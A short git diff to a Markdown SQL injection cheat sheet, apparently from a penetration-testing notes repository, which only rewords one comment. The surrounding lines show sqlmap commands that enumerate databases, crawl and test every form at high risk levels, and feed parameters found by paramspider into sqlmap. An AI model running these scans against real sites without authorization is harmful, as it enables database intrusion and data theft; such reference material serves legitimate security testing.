diff --git a/SQL Injection.md b/SQL Injection.md index 9fffcf2..2f6113a 100644 --- a/SQL Injection.md +++ b/SQL Injection.md @@ -2563,7 +2563,7 @@ sqlmap -u target.com/test?id=10 -p id --random-agent --dbs # sqlmap is test all forms in target and answered the wizard questios to default sqlmap -u target.com --forms --batch --crawl=10 --threads=10 --level=5 --risk=3 -# find all parameters on target domain and subdomain and send to sqlmap +# find all parameters on target (domain and subdomain) and send to sqlmap python3 paramspider.py -d target.com -s TRUE -e woff,ttf,eot,svg | deduplicate --sort | sed '1,4d' | sqlmap # you can use sqlmap + burp --> burp extension sqlipy (integrated by sqlmap)